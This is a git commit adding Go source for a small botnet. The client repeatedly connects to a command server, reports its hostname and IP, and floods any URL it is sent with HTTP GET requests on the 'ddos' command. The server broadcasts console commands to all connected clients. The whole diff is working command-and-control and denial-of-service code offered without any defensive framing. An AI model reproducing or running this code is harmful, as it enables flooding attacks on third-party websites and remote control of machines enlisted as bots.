implemented v2

This commit is contained in:
arnaucode
2018-05-24 01:12:53 +02:00
parent 650c21a882
commit 5a0b9b062a
6 changed files with 177 additions and 0 deletions

133
v1/client/main.go Normal file
View File

@@ -0,0 +1,133 @@
package main
import (
"bufio"
"fmt"
"net"
"net/http"
"os"
"strconv"
"strings"
"time"
)
const (
CONN_HOST = "localhost"
CONN_PORT = "3333"
CONN_TYPE = "tcp"
sleeptime = 3000
)
func stablishConn() (conn net.Conn, err error) {
// connect to this socket
conn, err = net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
return conn, err
}
func tryToConnect() (conn net.Conn, err error) {
fmt.Println("trying to connect to the server")
connected := false
conn, err = stablishConn()
for connected == false {
conn, err = stablishConn()
if err != nil {
fmt.Println(err)
fmt.Println("server not connected, sleep for " + strconv.Itoa(sleeptime) + " to try again")
time.Sleep(sleeptime * time.Millisecond)
//os.Exit(1)
} else {
connected = true
}
}
return conn, err
}
func main() {
conn, err := tryToConnect()
hostname, err := os.Hostname()
if err != nil {
fmt.Println(err)
os.Exit(1)
}
fmt.Println("connecting to server as hostname:", hostname)
ip := getIp()
fmt.Println("local ip:", ip)
// send to socket
fmt.Fprintf(conn, "[client connecting] - [date]: "+time.Now().Local().Format(time.UnixDate)+" - [hostname]: "+hostname+", [ip]: "+ip.String()+"\n")
for {
command, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
fmt.Println(err)
fmt.Println("server disconnected")
//os.Exit(1)
conn, err = tryToConnect()
}
fmt.Println("Command from server: " + command)
//fmt.Println(len(strings.Split(command, " ")))
comm := strings.Split(command, " ")[0]
switch comm {
case "ddos":
fmt.Println("url case, checking parameters")
if len(strings.Split(command, " ")) < 3 {
fmt.Println("not enought parameters")
break
}
fmt.Println("url case")
go ddos(command, conn, hostname)
default:
fmt.Println("default case, no specified command")
fmt.Println("")
fmt.Println("-- waiting for new orders --")
}
}
}
func ddos(command string, conn net.Conn, hostname string) {
url := strings.Split(command, " ")[1]
url = strings.TrimSpace(url)
iterations := strings.Split(command, " ")[2]
iterations = strings.TrimSpace(iterations)
iter, err := strconv.Atoi(iterations)
if err != nil {
fmt.Println(err)
}
fmt.Println("url to ddos: " + url)
for i := 0; i < iter; i++ {
fmt.Println(i)
resp, err := http.Get(url)
if err != nil {
fmt.Println(err)
}
fmt.Println(resp)
}
msg := "[hostname]: " + hostname + ", [msg]: iterations done, ddos ended" + "[date]: " + time.Now().Local().Format(time.UnixDate)
fmt.Println(msg)
fmt.Fprintf(conn, msg+"\n")
fmt.Println("")
fmt.Println("-- waiting for new orders --")
}
func getIp() net.IP {
var ip net.IP
ifaces, err := net.Interfaces()
if err != nil {
fmt.Println(err)
}
for _, i := range ifaces {
addrs, err := i.Addrs()
if err != nil {
fmt.Println(err)
}
for _, addr := range addrs {
switch v := addr.(type) {
case *net.IPNet:
ip = v.IP
case *net.IPAddr:
ip = v.IP
}
}
}
return ip
}

126
v1/server/main.go Normal file
View File

@@ -0,0 +1,126 @@
package main
import (
"bufio"
"fmt"
"net"
"os"
"strconv"
"strings"
)
const (
CONN_HOST = "localhost"
CONN_PORT = "3333"
CONN_TYPE = "tcp"
)
var allClients map[*Client]int
type Client struct {
outgoing chan string
reader *bufio.Reader
writer *bufio.Writer
conn net.Conn
connection *Client
}
func (client *Client) Read() {
for {
line, err := client.reader.ReadString('\n')
if err == nil {
fmt.Println("")
fmt.Println(line)
fmt.Print("enter new command: ")
} else {
break
}
}
client.conn.Close()
delete(allClients, client)
if client.connection != nil {
client.connection.connection = nil
}
client = nil
}
func (client *Client) Write() {
for data := range client.outgoing {
client.writer.WriteString(data)
client.writer.Flush()
}
}
func (client *Client) Listen() {
go client.Read()
go client.Write()
}
func NewClient(connection net.Conn) *Client {
writer := bufio.NewWriter(connection)
reader := bufio.NewReader(connection)
client := &Client{
// incoming: make(chan string),
outgoing: make(chan string),
conn: connection,
reader: reader,
writer: writer,
}
client.Listen()
return client
}
func watchConsoleInput(conn net.Conn) { //example: ddos http://web.com 4
newcommand := bufio.NewReader(os.Stdin)
for {
text, _ := newcommand.ReadString('\n')
text = strings.TrimSpace(text)
// send newcommand back to client
if text != "" {
fmt.Println("console input command: " + text)
fmt.Println("sending command to " + strconv.Itoa(len(allClients)) + " connected clients")
for clientList, _ := range allClients {
//if clientList.connection == nil {
clientList.conn.Write([]byte(text + "\n"))
//}
}
fmt.Print("enter new command: ")
}
}
}
func watchClientConnectionInput(client *Client) {
for clientList, _ := range allClients {
if clientList.connection == nil {
client.connection = clientList
clientList.connection = client
fmt.Println("Connected")
}
}
allClients[client] = 1
fmt.Println(strconv.Itoa(len(allClients)) + " connected clients")
fmt.Print("command to send to the clients: ")
}
func main() {
allClients = make(map[*Client]int)
listener, err := net.Listen(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
if err != nil {
fmt.Println("Error listening:", err.Error())
os.Exit(1)
}
fmt.Println("Listening on " + CONN_HOST + ":" + CONN_PORT)
for {
conn, err := listener.Accept()
if err != nil {
fmt.Println(err.Error())
}
client := NewClient(conn)
go watchClientConnectionInput(client)
go watchConsoleInput(client.conn)
}
}